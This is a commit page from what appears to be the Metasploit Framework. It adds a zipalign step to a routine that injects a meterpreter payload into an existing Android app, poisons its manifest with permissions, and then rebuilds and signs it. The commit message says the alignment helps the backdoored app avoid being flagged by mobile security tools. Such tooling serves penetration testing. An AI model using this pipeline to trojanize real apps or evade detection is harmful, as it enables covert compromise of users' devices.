Skip to content

Commit e8d99fb

Browse files
committed
Run zipalign as last step during APK injection process
Running zipalign on an APK after signing and before distribution is considered general best practice. Also, properly aligning an APK makes it less likely to be flagged as suspicious by mobile security solutions. More on zipalign from Google: https://developer.android.com/studio/command-line/zipalign.html
1 parent 5ea1e7b commit e8d99fb

File tree

1 file changed

+9
-0
lines changed

1 file changed

+9
-0
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,11 @@ def backdoor_payload(apkfile, raw_payload)
131131
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
132132
end
133133

134+
zipalign = run_cmd("zipalign")
135+
unless zipalign != nil
136+
raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
137+
end
138+
134139
apktool = run_cmd("apktool -version")
135140
unless apktool != nil
136141
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
@@ -199,13 +204,17 @@ def backdoor_payload(apkfile, raw_payload)
199204
print_status "Loading #{smalifile} and injecting payload..\n"
200205
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
201206
injected_apk = "#{tempdir}/output.apk"
207+
unaligned_apk = "#{tempdir}/unaligned.apk"
202208
print_status "Poisoning the manifest with meterpreter permissions..\n"
203209
fix_manifest(tempdir)
204210

205211
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
206212
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
207213
print_status "Signing #{injected_apk}\n"
208214
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
215+
print_status "Aligning #{injected_apk}\n"
216+
FileUtils.mv("#{injected_apk}", "#{unaligned_apk}")
217+
run_cmd("zipalign 4 #{unaligned_apk} #{injected_apk}")
209218

210219
outputapk = File.read(injected_apk)
211220

0 commit comments

Comments
 (0)